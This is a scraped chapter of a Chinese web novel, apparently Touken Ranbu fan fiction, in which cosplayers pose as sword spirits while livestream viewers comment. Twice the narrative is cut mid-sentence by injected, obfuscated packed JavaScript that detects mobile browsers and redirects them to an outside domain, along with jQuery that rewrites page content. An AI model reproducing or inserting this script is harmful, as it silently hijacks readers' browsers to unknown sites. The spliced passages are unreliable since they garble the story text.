温热的手掌落到药研的头上,一期一振笑容温和,“要相信本丸里的大家,我也会保护好弟弟们,药研也是。” 内心的忧虑被扫去些许,药研藤四郎坚定下来,他目光转向兄弟们所在的屋子,垂下眸子。 毕竟,大家可没有想象中那么脆弱呢。 里屋,原本安睡的博多藤四郎睁开眼,他抱紧怀里的枕头,将脸埋进棉被里。 一期尼不想让他们担心,还是不要再多问了。 凌晨时分,本灵们针对膝丸的突然失踪展开了调查。 狮子王从源氏部屋出来,他再里面逛了一圈,确认膝丸没有回来就寝。他和同样观察情况的笑面青江碰面,绿色头发的付丧神摇摇头。 “没有鬼物的气息。” “这就奇怪了,毫无预兆的消失了。”狮子王挠挠头,感到格外困惑。 笑面青江回想鲶尾藤四郎的描述,若有所思,“这倒像是被召唤后,降灵到其他地方。” “可是召唤不是需要媒介吗?” 话落,狮子王顿住,被派发到各个审神者本丸里的分灵就是最适合的召唤媒介。 如此一来,凭借某些阴阳术法的加持,达到特定条件,还真有可能成功使本灵膝丸降灵到分灵身上。 狮子王一阵发寒,这样的话,那岂不是随便召唤哪个本灵都可以? 笑面青江叹气,那些人还真是百般琢磨能拿捏他们的手段啊。 储刀室内,今剑好奇地注视着陈列在架上的太刀,本体还留在储刀室,但盘绕在其上的灵力不在了。 哪怕付丧神远离本体,刀剑里的本源仍会有序地运行,以维持灵体的存在,而如今的太刀就像具还未生出灵智的凡物。 “要不先唤醒髭切殿吧?” 今剑想起还在睡觉的髭切,身为兄长的髭切殿一定会有办法的。 问题就在那家伙根本不在本丸里啊,本体和灵体都不在,根本联系不上。 一旁的三日月宗近叹气,他转向现场主事的付丧神,“需要转告时政方面吗?” 能够威胁到刀剑本灵的技法都研究出来了,不施加警告的话,下一步就踩到他们头上了吧。 小乌丸摇头,子代和髭切还处于不明确的危险之中,那些旧党派还未察觉,现在去纠时政的错误也许会打草惊蛇。 但按兵不动并不意味着他们会坐以待毙,人类的党派纷争终究还是靠内部瓦解,他们暗中扶持的新左翼党派已经开始行动了。 待髭切把子代所处的本丸坐标传送过来,建立时空通道,将子代安全带回后,便是清算之时。 因本灵本丸特殊性,为保证其独立保密性,以防黑客等泄露坐标,未连接时政网络节点。 刀剑本灵只能凭借模糊的感应得知同伴的存在,就像那天髭切突然惊醒,呢喃着八幡大菩萨的指引,独自去寻找出现在梦中某处的小乌。 纵使无比想念,小乌丸仍要留在这里,目睹计划一步步实施,静候团聚的来临。 看出小乌丸的顾虑,三日月宗近无奈地道:“真是没办法,先等待一文字的消息吧。” 一心想退休的菊花老头今天也在带领左翼党派与时政对衡呢。 * 直播球运转了一宿,它专注地录下付丧神们的睡颜,兢兢业业地守在源氏部屋里头,活像个门神。 [感觉是我们在守夜一样。] [不行了我要困nm hju,ik.;/] [楼上的同事已经熬晕头,脸滚键盘了。] [真是丢了我们夜猫子工会的脸,不像我,都这个点了还在指挥出阵,时政不如赔我点小判吧。] [还有一个做白日梦的。] [哦哦!弟丸要醒了!] [这次主人格总要回来了吧?看小乌的反应总觉得好心疼。] [我觉得被踹了的膝丸也许更疼。] 膝丸coser是被疼醒的,他下意识想蜷缩身子攀附在小乌coser手腕,却发现自己已经回到原来的身体里,猛地睁开眼,青年跟呆头呆脑的伴生灵对视。 被小乌coser以避免产生误会的理由而无情抛弃的小蛇蔫耷耷地垂下头,它觉得自己没有做错什么。 身为罪魁祸首的膝丸coser掀开内衬,根据淤青判断了伤势,并不严重后才放下心来,他就知道单主不会真把他踹残的。 整理好衣服,青年扭头寻找单主的踪迹,这几乎成了他的本能反应,以寻求安全感。 四振太刀被整齐地摆放在桌案,下方妥帖地垫了层软布,膝丸coser视线扫过去,在他有些辨认不出刀时,最边上的一振髭切象征性地抖动了下。 原来兄长在哪里。 膝丸coser起身撩开隔间的幛子,榻榻米上的手入工具摆放零散,被打开的松子油搁置在一旁,瓶塞子不知所踪。 往里望去,〔髭切〕似乎是累极了,经过手入后仍然沉睡着,紧蹙的眉头深陷进蓬松柔软的发丝,兴许是梦见什么悲伤的事,呢喃出挽留的颤音。 兄长做噩梦了吗? 膝丸coser小心地跨过一地凌乱,然后轻轻地膝行到〔髭切〕身旁。 就在他打算附耳过去倾听〔髭切〕梦话时,金发付丧神的呓语停止了,像是认命了般陷入更黑暗的梦境。 膝丸coser眨眨眼,扭头发现里侧完美隐藏进衣物的小乌coser,多亏了他5.0的优秀视力才看出来。 少年蜷缩在〔髭切〕被褥旁边,头抵住付丧神露出来的半截手臂,合着眼,呼吸轻浅,踏实的倚靠让他睡得无比安然。 膝丸coser注视两人的睡颜,怎么只有他远远地躺在对过儿?明明他的受到的伤害也不少。 他在心里不满地嘀咕,打算把小乌coser转移阵地,总不能让单主睡在犄角旮旯,醒了双方一照面不尴尬吗? 他越过横在中间的〔髭切〕,刚触碰到小乌coser,少年便警惕地睁眼瞪视过来,发现是膝丸coser后才放心地重新合上眼。 小乌coser困得不行,脑袋往青年前胸探去,蹭半天没找到枕头。 他迷茫地再次睁开眼,发现自己被腾空公主抱,他不可思议再三确认,最后吓得一巴掌糊在膝丸coser脸上,手忙脚乱地扑腾。 这是遇到同性别骨科目爱好者了吗?他可是纯爱党!他把委托老师当儿子养的,孩子怎么能抱家长! 膝丸coser被大力杵开下巴,腹部又被捅了一肘子,他实在镇压不住发狠挣扎的猫,脚下打滑连带小乌coser一同摔倒。 身形敏捷的少年顺脚蹬开他,刚爬起来的膝丸coser只觉一股巨力击中后背,还没站稳又摔了下去,体型稍大的青年乒铃乓啷带倒满地狼藉。 小乌coser触地即躺,也不知道是被摔懵了还是困的,倒在〔髭切〕腿上再起不能。 一直睡着的〔髭切〕终于被吵醒,他神色难看地睁开眼,疲乏仍纠缠不休,付丧神扫视周遭,目光落到趴在榻榻米尚清醒着的膝丸coser身上。 “闹腾什么?慌慌张张的。” 不敢抬头的膝丸coser老实认错,“对不起,阿尼甲。” 感受到腿上的重压,〔髭切〕望向衣衫凌乱的小乌coser,猛然想到这两人的秘密关系,觉得自己被迫扮演了某种很糟糕的角色。 他转向仍在不断偷瞄少年的膝丸coser,原本因噩梦而隐隐作痛的头,现在更难受了,〔髭切〕语气也见不得好。 “出去,不要再我面前做那种事。” [嘿嘿,猫猫蹭蹭。] [审也想用脸蹭弟丸的胸肌!(大胆开麦] [同事我看你是想脱裤子了。] [嘴硬但乖乖靠在哥切旁边睡觉的小乌一枚呀。] [笑死了,猫害怕,猫扑腾。] [好好睡觉非要扒拉人家的弟丸,被骂了吧。] [哥哥切仿佛误会了什么。] [那种事?我不懂诶,展开细讲可以吗?] 膝丸coser被迫离开,空气一时安静下来。 此处的隔间地方狭小,阳光无法流通进来,在刚刚透亮的清晨,如若不点灯示意夜晚的结束,大概能睡个昏天黑地,永不再苏醒。 趴伏在他小腿上的小乌coser呼吸绵长,不同于〔髭切〕微卷的金发,少年黑直的短发乌墨般散开,脸颊枕在他腿上,被挤出些微的软肉。 他感觉有些手痒,骨子里都叫嚣着不耐。 〔髭切〕慢慢曲起腿,拽着被子轻缓地把人拉过来,身下的被褥被动作挤出褶皱,少年软塌塌地迎合髭切的力道仰面朝上,宽松的里衣别在身下,衣领歪斜地敞开来。 他眸色逐渐暗沉,伸出手,指尖即将落到少年衣领敞开而暴露出的锁骨上。 措不及防,一只手裹住他的指尖,〔髭切〕抬眼,对上一双圆润的猫曈。 小乌coser唇角拉平,黑曜石般的眼底一片清明,“你要干嘛。” 这就很尴尬了,本来他想装睡躲过一劫,谁知道〔髭切〕赶走膝丸coser后竟是方便他自己动手动脚,再不醒就让直播球拍到禁止的画面了。 〔髭切〕平静地用另一只手扯住小乌coser衣领,帮忙遮住暴露的皮肤,然后又给人盖上被子。 “多穿一点,清晨温度尚低,当心着凉。” 小乌coser听话地裹住被子跑路,迈出隔间时突然想到什么,扭头望向被遗落空房的〔髭切〕。 付丧神见他停下,遥遥冲少年笑了下,那怀有心事般凄楚的笑容配上伤势初愈而微微苍白的脸色,顿时让小乌coser感到自己好像提上裤子就拜拜的大猪蹄子。 这对吗?我才是可怜的那个吧。 他无视了〔髭切〕的挽留,撇了眼屋里的狼藉,吐出句更加冷漠无情的话,“收拾一下,谢谢。” 【真狩柊的本丸里—— 源氏两人仍执着地守在屏幕前,远征回来的两刃丝毫没有因熬了个通宵而显出疲态。 髭切紧盯屏幕,在看到少年最后醒来制止里面的髭切动作后,付丧神终于放松地吐出口气。 差点就让同振得手了呢,好险。 “嗨嗨,打赌同振什么时候会发现小鸟!” 髭切举起手,猛地指向看戏的膝丸,“弟弟丸来回答!” “诶,我怎么知道,如果非要说大概过不了多久,四五天吧。” 莫名被带动得紧张起来的膝丸估摸了个数字,虽然小乌确实伪装得很好,但毕竟是阿尼甲,被发现是迟早的事。 思及此,他又转而去问髭切,“阿尼甲觉得弟弟什么时候会被拆穿呢。” “我希望是永远不要。”髭切笑眯眯地回答。 他才不想在屏幕里看着同振跟小乌好好相处,凭什么同振命这么好。】 小乌coser在更衣间换好髭切的出阵服。 他其实不太会搞刀剑付丧神们奇形怪状的服饰,好在髭切装束偏简单,一些零件也能试着装好,避免了他闹出穿错衣服的尴尬事件。 刚走出更衣室,一道绿色的残影迅雷不及掩耳之势地窜过来,膝丸coser的伴生灵飞速把自己缠到少年袖口,然后埋下头装死。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036098|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小乌coser脚步停下,他把卷住手腕的蛇扒拉下来,顺手丢到旁边的膝丸coser身上。 脑袋上挂了条蛇的青年眼神清澈愚蠢,还有脸问怎么了。 “以后它归你管。” 小乌coser不再理会被他的态度刺激得瑟缩的青蛇,虽然上次是例外,但谁知道会不会有下次,一想到有人曾经在他身上爬来爬去,浑身鸡皮疙瘩都要起来了。 膝丸coser闷声应下,乖乖把小蛇揣进口袋。 一早上吃了两次闭门羹,难道是因为他睡醒先睁开的左眼吗? [惨遭抛弃了呢,蛇蛇。] [蛇蛇委屈,蛇蛇发抖。] [弟丸的表情也好委屈,你委屈个什么劲儿啊?又不是扔得你。] [嘿嘿,反正我代了,蛇塑弟丸是极好的。] [楼上的同事有品啊!] 后山的林间尚弥漫着露水的湿气,不知年岁的树木叶子绿得发黑,浓密的树冠挤挤挨挨,隐隐有参天之势。 昨夜被涉足的山峡边早已褪去雾气,下面的景象未有不同,一条狭窄的山涧顺着岩石缝流出,如同细细的银色缎带,经阳光晕出粼粼的水波。 一只幼鸦蹦蹦跳跳地跃下枝头,啄食土壤里的谷粒。 前方的空地上出现大摊谷粒,乌鸦歪歪头,敏锐地发现谷子上方被细树枝支起了一个竹筐。 粗鄙的捕猎手段。 幼鸦红色的豆豆眼里浮现一丝鄙夷,它展开翅膀飞过去,挑衅地在竹筐上跳来跳去。 突然,下方的土地松动陷出一个大坑来,幼鸦受惊慌忙扑腾翅膀飞起来。 刚升到半空,一张大网倏然落下,毫无准备的乌鸦被直接罩住,被裹着掉进下方的大坑里。 躲在草丛里的付丧神一跃而出,趴在坑边观察不停挣扎的乌鸦,嘎嘎的谩骂声不绝于耳。 “哦吼,效果不错嘛。”鹤为自己的新发明竖起大拇指。 * 源氏部屋内,小乌coser他们正在接待新认识的付丧神。 因为晚起没去领早饭,所以任劳任怨的厨师长把饭端过来了。 戴着眼罩的帅气付丧神取出木质餐盒,递过来的动作间,一股母性光辉闪到了coser们的眼睛。 小乌coser感激地接过食盒,手里感受了下份量,疑惑道:“请问里面包含〔髭切〕殿那个白痴的份吗?” 重量太轻了,虽说早饭重在精简,但三个男刃怎么看也不够吧。 烛台切被这句话震了下,好歹听出是关心,“〔髭切〕殿平时不爱吃东西,前段时间膝丸殿到来才将三餐纠正过来。” 膝丸coser一愣,怪不得兄长吃饭时一个劲往他碗里夹菜,还以为是太关心他,原来是不爱吃吗? [一边说敬语一边骂人家白痴啊……] [咪酱听出来是关心了!] [关心哥哥就好好说话啊,还夹枪带棒的。] [谁懂我的笑点,虽然很地狱,但只喝露水的仙女切。] [够了,正在心疼哥切的我差点笑出来。] [管家咪酱欣慰点头,很久没见少爷吃得这么开心了。] 小乌coser眨眨眼,〔髭切〕在收拾完隔间后便离开了,他还以为那家伙起码会去吃个早饭,结果压根不是吗。 虽然他食欲也较为贫乏,但总要保持身体机能,在这个灵力如此稀薄的本丸,食物便成了付丧神维持形体的主要能量,不吃不喝的〔髭切〕要靠什么补充灵力? “我劝过他,但似乎没有被放在心上。” 送过来的食物从来没有被动过,久而久之,连烛台切也逐渐忘记了髭切的那份。 或许是看到膝丸coser脸上的心疼,烛台切光忠考虑到他们的关系,又多说了两句。 “本丸虽然资源短缺,但也绝对支撑得起大家的三餐,膝丸殿能帮忙劝劝吗,总是这样也不是办法。” 膝丸coser立即应下,他决定要时刻监督兄长按时吃饭,是人是刀都给他好好吃饭,绝食是想进医院了吗? 送完餐后的烛台切光忠满意地离开了。 小乌coser回屋,将散发着热气的饭菜摆出来,日式早餐的口味着实让他适应了有一阵子,但是不得不说,烛台切的手艺真的很棒,从此爱上吃饭。 膝丸coser取了两个软垫过来,他盘腿坐下,仰头看向对面的少年。 他的本体被放置在里屋,只有挨近小乌coser时,才能感觉到属于单主的微小的灵力波动,带着一点点欢悦的情感被他吸收进体内。 青年暗暗窥探少年此刻的心情,尝试主动搭话活跃一下气氛,他清了清嗓子,在即将出声时被小乌coser的反应堵在嗓子眼。 少年突然轻呼了声,身体也僵住。 “怎么了?”膝丸coser关心道。 小乌coser哽了下,他通过联系感应到伴生灵那边的状况,透过幼鸦的眼睛看清远在后山的付丧神。 ——某位雪白的鹤撅着屁股趴在坑边试图把网里的乌鸦给捞上来。 “先吃饭,吃完再说。” 少年默默咽下嘴里的生菜,怎么老有人窥视他的伴生灵? * 清晨,〔髭切〕如约而至。 新旧伤都被治愈的他一身轻松,付丧神脚步悠闲地迈入三条部屋,在外面的走廊遇见品茶的三日月宗近。 一身轻装的付丧神姿态端庄,作为众多审神者求而不得的存在,他只是坐在那里便能吸引无数目光。 三日月放下茶盏,他舍弃了弯弯绕绕似的兜圈子方式,开门见山地道:“你遇见主公了吧?” 他目光犀利,能够给如今的〔髭切〕造成这样的伤势,也只有本丸的审神者波多野了。 “咦,我一般不把恶鬼奉为主上哦。” 奶金色的太刀纠正三日月话里的漏点,他似乎对审神者深恶痛绝。 “他一上来就问三日月在哪儿……” 〔髭切〕捏着下巴歪头,打量面前被誉为最美的名剑,他忽然恍然大悟地握拳击掌,“原来如此,你们暗地里还有联系吗?” “只是他临走前嘱托我的事项罢了。” 三日月宗近不动声色,他想得知〔髭切〕和审神者发生了什么。 用不着套话,〔髭切〕自然能看出他的目的,轻描淡写道:“还真是忠心,他想要带你走,只不过没料到带队出阵的会是我。” 真可惜,没有把他另一条手臂也砍下来,这样就能带战利品回来给弟弟了。 目睹太刀惋惜的神情,那轮新月般的眼睛里浮上丝浅淡的悲伤,三日月轻叹,并未理会〔髭切〕话里的试探。 他只是想知道,那个人真的决定站到背叛的一边了吗? 16. 第 16 章 coser们并肩而行,直播球正为光明地悬在两人中间,以方便随时给予特写。 “昨晚怎么回事?” 小乌coser步伐放缓,他指的是膝丸coser被挤出身体的事。 青年拧眉,肩上的小蛇反映其内心,不安地骚动着,“我也不太清楚。” 膝丸coser努力回想昨夜的经历,在与小乌coser分开的第一时间,他就立即掉头,循着少年灵力气息找人。 “那些雾瘴仿佛能隔绝气息,在你离开后有意识般吸取我体内所留下的灵力。” 作为分灵,膝丸coser本身不会产生灵力,只能像正统的刀剑付丧神一样依靠审神者间的契约维持形态。 奇怪的是,他身为人类的那部分仿佛完全被舍弃了,轻易被其他膝丸占据身体。 小乌coser点点头,灵力被雾瘴抽取吗,这与昨夜那振膝丸的情况一致。 只是,挤占膝丸coser的付丧神身上所携带的灵力状态不像是被契约的普通刀剑该有的。 连髭切也是,灵气浓郁且强大,没有出现过灵力不足的情况,比起借助审神者,这股力量更像由他们本身所具备的。 什么情况下,刀剑付丧神会自己拥有灵力呢? “所以你是因灵力枯竭而晕倒的吗?”顾及直播球在场,小乌coser自然地隐去后半句话。 被其他膝丸趁虚而入,膝丸coser只能可怜兮兮地待在蛇身体里。 膝丸coser有些难以启齿,“不,我是被动物砸晕的。” 被武力值远远低于自己的动物打败,这让青年感觉很丢脸,前段时间练级都练到肚子里去了吗! 本丸的动物? 小乌coser满脸疑惑,猜测道:“你被狐之助砸晕了?” “不是,狐之助胆子没那么大。”膝丸coser否认,自从被coser们盘问过一次后,狐之助每每碰见他们,脚下四条腿溜的比兔子还快。 而砸到他的动物更具野性,还凶狠地朝他嘶吼。 “当时的我感应不到与你之间的联系,正在慌乱之时,却闻到了你的味道。” 膝丸coser回忆起昨夜—— 他徘徊在雾瘴里,疲惫随着减少的灵力而愈发明显,青年拖着迟缓的身体,无头苍蝇般寻找出路。 夜风吹动黑雾,携带来一丝甘甜的气味,这丝不易察觉的变化被青年敏锐地捕捉到,他鼻头耸动,液体曾经停留在舌尖的熟悉感使得他迅速分辨出气味来源。 是单主的,血的味道! 意识到不对的薄绿浑身一震,心跳若擂鼓,急切地循着气味传来的方向赶去。 等赶到气味源头,一块沾染了血迹的布迎风飘舞,那块布被挂在本丸刀铃的绳子上,在夜风和布料的摇曳下,微微泛起铜锈的铃铛未曾发出丝毫声响。 前天他咬伤单主后被弄脏的就是这床被单,不是已经被狮子王拿去清洗了吗,为什么会出现在这里? 青年警惕地后撤,附近安静诡异,染血的白布怨灵般发出被风刮的哗啦声,似乎是特意引诱他前来。 随后,他听见一阵如同虎鸫的鸣叫,就在头顶,太刀的视力使他直到危险降临才彻底看清楚。 一个黑漆漆、毛绒绒的东西撞到他身上,凶狠冒着红光的眼睛狠厉地剜着他,像是有什么魔力般,瞬间夺去了青年的心智。 “再睁开眼,我就听到你和阿尼甲的对话。” 将昨夜经历托盘而出,说了太多话的膝丸coser有些口干舌燥。 他偷瞄向少年的侧脸,想起他不在时,髭切对小乌coser的刁难和少年对他的维护。 膝丸coser没想到他在单主心里竟然那么重要,明明是害怕髭切的吧,却连暂时的妥协都不肯,如果换做是他…… 青年垂在身侧的手倏然握紧成拳,他无法保证自己会完全偏向小乌coser。 膝丸coser偏头眼神悄悄描摹少年的脸,对视线敏感的小乌coser察觉到被注视,他并没有表达不满,放任了青年的行为。 知晓自己被纵容的膝丸coser转过头,由偷偷摸摸转为正大光明地看。 就在这时,看不懂气氛的直播球转过来拍摄膝丸coser的表情,青年被完全挡住视线,他怒视碍事直播球。 莫名其妙被瞪的观众在弹幕里发牢骚。 [瞪什么瞪!少看一眼能咋的!] [孩子也是学会凶人了。] [这看狗都深情的眼神哦,牙酸。] [有如此含情脉脉的弟丸旋转进入本丸。] [话说攻击弟丸的到底是什么东西啊,听着还像是故意引诱他过去杀。] [特意用小乌的血作诱饵,智商不低,大概不是普通野兽。] [诶?类似虎鸫的叫声。] “你是说,你被一个长着猴脸的猫袭击了?” 小乌coser努力想象膝丸coser描述的动物,并试图将其与他认知里的日本鬼怪匹配上。 他隐隐有猜测,毫无根据,那振刀不像是会蓄意攻击的样子,但染血的被单又将嫌疑牢牢固定在其身上。 【“欸!猿猴脸、猫的身躯、如果再加上蛇尾……那不是鵺吗?!” 金发半扎马尾的付丧神望着大屏幕,他不可置信地举起趴在肩膀的鵺。 四不像的妖怪因付丧神的动作,身躯拉成长长的一条,它低低地鸣叫了声,回应狮子王的询问。 “哦哦,虎鸫的叫声也具备了。” 髭切眯起眼睛,懒洋洋地伸了个懒腰,目光停留在鵺身上,“听里面弟弟丸的话,像是变成恶鬼了的样子。” “鵺与历史里的不同,他是我的伙伴。” 狮子王将伴生灵搂在怀里,被髭切目光盯得瑟瑟发抖的鵺委屈地鸣叫,“我不相信它会变成那样。” “不论相信与否,事实就摆在面前呢。”髭切卷起脸庞的鬓发,露出笑容。 “随便你说什么,就算是真的,那也有其原因。我可以拍着胸脯担保,我怀里的这孩子,可是非常亲人的。” 狮子王揉揉鵺的头,平静地回应暗含威胁的话语,曾经同为源氏的刀,他不见得就会自认下风。 “阿尼甲,这里的鵺没有攻击倾向,不要再吓它了。” 终于看不下去的膝丸出言,阻止自己兄长继续以强凌弱的举动,虽然极化满级的狮子王也不算是弱小。 平常兄长从不会对本丸里的刀剑显露出如此充满锋芒的一面,也许这次真的生气了才逼着人不放。 伴生灵与付丧神本身紧密相连,要是伴生灵都变成这副模样,那振狮子王本身大概也潜藏有问题。】 两人边走边交谈,不知不觉间,前方的小路愈来愈窄直至彻底消失,随着他们的逐渐深入,葱茏的树木慢慢遮挡视野,参天的树冠投下荫庇,使人皮肤泛起萧瑟的凉意。 阳光照射不到的泥土泛着潮湿的涩味,膝丸coser皱皱鼻子,靴子陷进软塌塌的土壤,碾碎虫蛀的败叶。 这里给他的感觉很阴森,越往里走,那股腐朽的死气便更浓郁一分。 “该打灯笼过来的。” 小乌coser撩了把头发,他左手搭在髭切本体上,干燥温和的灵力贴合过来,少年兀自蜷缩手指,他觉得自己好像被挠了下掌心。 他其实没感到不适,只是髭切似乎不那么认为,执着地试图用灵力把他裹起来。小乌coser更担心髭切先一步耗尽灵力。 “早去早回吧。”膝丸coser接道,紧紧跟在少年身后,这地方使他生理性不适。 小乌coser的伴生灵被捕捉,他本来不想管,聪明的乌鸦懂得最佳逃脱方法。 但当他不经意透过幼鸦的眼睛,看到鹤丸国永架柴生火打算活烤野味时,想杀人的心都有了。 这种一点都不尊重生命的混蛋,就该角色调换过来,被拔毛火烤。 * 清香的皂角味随风扩散,层层叠叠的衣物和布料被晾晒在此处空地,今日负责清洗旧衣的付丧神在这里忙绿着。 “九……十二、三十六。” 金发的付丧神歌仙将晾衣拂上的床单数了不下五遍,狮子王眉头微皱,他弯腰看着空空如也的竹筐,又抬眼望向正在晾衣物的打刀。 “歌仙殿,你那里还有没洗的床单吗?” 歌仙兼定擦拭擦额角的手顿住,他刚把山姥切国广的披风架上去,闻言看向脚边的竹篾,以为狮子王在询问进度。 “我这里的衣服都洗干净且晾晒完毕了。” “没有剩余的吗?” 狮子王挠挠头,无奈道:“少了一床被单。” 每座部屋都有固定的专属晾晒区,以避免出现搞混拿错衣服的情况。在严谨的以实力排名的本丸里,这种划分区块的方式极大减少了争端。 “是少了哪个刀派的?”歌仙兼定上前。 由于本丸的特殊性,采买的步骤更为繁锁,尤其审神者不在本丸,没有主公的授权便无法进入万屋,因此衣食住行方面的资源尤为珍惜。 “是源氏那边的,该不会好心办坏事了吧。”狮子王有些担忧,虽然〔髭切〕大概不会在意,但毕竟是他的失误。 “也许是不留神被刮跑了,今日的风颇为喧嚣。” 歌仙兼定抬手捋了捋被吹乱的头发,仰头观察天色,本丸的天空阴沉得一如既往。他们刚晒上去的衣服,只求不要下雨才好。 “如果这样那就没办法了,我晚点去找〔髭切〕道歉吧。”狮子王无奈地叹了口气,他活动了下酸痛的手臂,总觉得少了点什么。 话说,好像一整天都没看到他的鵺啊,又跑到哪里玩去了。 啪嗒,竹篾落地的轻响被正烦恼着的狮子王捕捉到,他望向莫名其妙呆立住的歌仙兼定,视线转移到付丧神惊恐的脸上,那是一副仿佛看见了什么不得了的事情的表情。 狮子王疑惑抬头,朝着歌仙面对的方向看去,顿时愣在原地。 只见滚滚的黑烟带着“大漠孤烟直”的豪迈气势,源源不断地自后山升腾起来,染得本就暗沉的天空犹如末世降临。 骗刃的吧? 狮子王不敢置信地揉揉眼,为什么后山会着这么大的火啊! 难道时政终于忍不了他们,打算一不做二不休用火攻把全部刀剑都烧毁吗?太不讲武德了吧! 本丸后山,浓郁的黑烟弥漫开来,受潮的枯枝显然不适合作为柴火,被烟熏得脸黢黑的付丧神狼狈地扶着膝盖,脚下是好不容易被踩灭的篝火,险些火烧山林的鹤丸国永仍心有余悸。 差点变成烤鹤了。 “嘎啊啊啊——” 嚣张的笑声从头顶响起,一只乌鸦安稳地降落到付丧神炸蓬的白毛脑袋上,张开翅膀拍打太刀的脸。 “喂喂,太过分了吧!”鹤丸国永呸呸两声,吐出嘴里的灰尘,伸手去捞头上撒欢的鸦。 红眼睛的幼鸦敏捷地避开付丧神的手臂,趁其不备叼他的头发,鹤丸国永手忙脚乱地护住脑袋,嘴里不停求饶讨好。 “虽然是我逮了你没错,但这不是没烤成吗,怎么说我们也算同类,大鸟有大量放过我吧……” 记仇的幼鸦听不懂鹤言鹤语,只是一味地报复。 [好惨的鹤丸哦。] [没想到你也有被迫求饶的一天啊,鹤姥爷。] [这是他应得的,指不定我们来之前在暗搓搓搞什么恶作剧呢。] [失火烧山,牢底坐穿。各位小审神者和付丧神们千万不要学哦!] [害人终害己,愿天堂没有鹤丸国永,阿门。] coser们赶来时看到的就是这幅乱糟糟的一幕,小乌coser止住脚步,幼鸦看见少年的身影,自觉停下对鹤丸国永的追逐。 终于摆脱攻击的付丧神长舒一口气,他拨弄了下挡住视野的发丝,转身冲向来者,血红色的瞳仁在看清少年的脸时蓦然收缩。 鹤丸国永朝coser们挥挥手,脏兮兮的鹤笑容灿烂。 “小乌?这是大惊吓啊!” 付丧神三步并作两步来到小乌coser面前,好奇地打量少年腰侧的三把佩刀,发出灵魂疑问,“这么多,不嫌沉吗?” 直播球猛然震撼地升空,360度围绕鹤丸国永旋转拍摄。直播间的弹幕寂静了瞬间,突然暴涨。 [我嘞个直接掉马!先不说小乌,我是真被吓到了。] [究竟是怎么认出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036099|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的?连本丸的哥切都被迷惑过去了,鹤丸莫非你天生有一双慧眼吗。] [难道这就是传说中,化成骨灰都能尝出你的味道的、骨灰级别的挚友吗?] [跪求楼上吃点好的吧。] [那他眼神和味觉都很好了。] [鹤球:我不管我不换你是任谁都无法,替代!] [好紧张,小乌会如何应对?能糊弄过去吗?] 僵硬的膝丸coser猛然回神,他慢慢踱步到鹤丸国永身后,等单主一声令下,他就用手刀给付丧神来个意外失忆。 在两人加一球的紧张注视下,小乌coser平静地拍拍腰侧漆黑的太刀,不徐不缓地道:“弟弟哟,有人找你哦,千万不要出来。” 正准备给好友来个拥抱的鹤丸国永气笑了,他早有预料地躲开膝丸coser的袭击,“你就是本人吧,在装什么啊。” 况且不要出来是什么意思啊? 攻击落空的膝丸coser暗自咬牙,又一振极化刀,本来可以制霸太刀的机动在此刻竟然毫无用武之地。 “……哎呀,竟然这么难骗吗。” 小乌coser佯装不可思议地捂住嘴,他明明已经把髭切模仿的出神入化了。 鹤丸歪头,那双血色的双眸仿佛仍能看出原本的澄澈,少年的身形就被深深地刻进眼里。 “我记住了你的模样。” 并且逐帧地,在日后无数次的回想和梦境里重演音容笑貌,完善至臻。 【“哈哈,同振还蛮不赖嘛!” 热衷于制造惊吓的鹤丸国永突然从屋檐下倒吊下来,还在战战兢兢的鵺被唬得一哆嗦,虚张声势地冲鹤吼了一嗓子。 “抱歉抱歉,吓到你了。” 鹤丸国永纵身跳下来,朝狮子王致歉,他扭头与望过来的髭切对上视线,开朗地扬起笑脸。 “欸呀,没想到我竟然是第一吗。” 弹幕恰好讨论到〔髭切〕和鹤丸国永谁先认出小乌,许多骨科铜仁审都暗恨哥切不争气。 弹幕滚动速度极快,但以付丧神的眼力,那些句子一字不漏地被纳入眼底。 “先不要太自信,现在下定论还太早,不是吗?”髭切轻飘飘地掀过去,以手托腮,漂亮的眼睛注视屏幕里的少年。 膝丸端坐一旁,目光扫过少年腰间的佩刀,“弟弟会信任陪伴在他身边的人。” 鹤丸国永眨眨眼,他望向屏幕里少年身边人的表情。 在青年刻意压低而显得恭顺的的眉骨下,被斜长刘海挡住的眼球缓慢转动,跟随攀谈的两人。 直播间无人注意到边角有条暗中窥视的蛇。 “真奇怪啊你们源氏。”鹤丸国永啧啧称奇。】 记住了他的模样? 不是,他长得也和髭切一样吧,到底怎么认出来的? 小乌coser回避了鹤丸国永视线,不知为何,他内心有些打鼓,就连初见髭切时都没有这样慌乱过。 鹤丸国永会察觉到他的异常吗?熟悉到一眼就能认出来……如果鹤丸指出他与角色不符合的习惯,冒名顶替的coser该怎么圆啊。 “这样吗,那好久不见,很高兴再次见到你。”小乌coser摆出惯常的笑容,下意识用了客套话。 高兴不了一点,上来就把他马甲掀了是什么意思? “其实我也蛮惊讶的,能正式和你见上一面。” 鹤丸国永拍拍衣服上的泥土,当着膝丸coser的面,朝少年张开双臂,“来吧,久别重逢的拥抱!” 被贴脸的膝丸coser表示很想一脚把这鹤玩意儿踹进坑里。 鹤丸国永笑容开朗,小乌coser担心被拆穿,装作很熟络的样子和付丧神抱在一起。 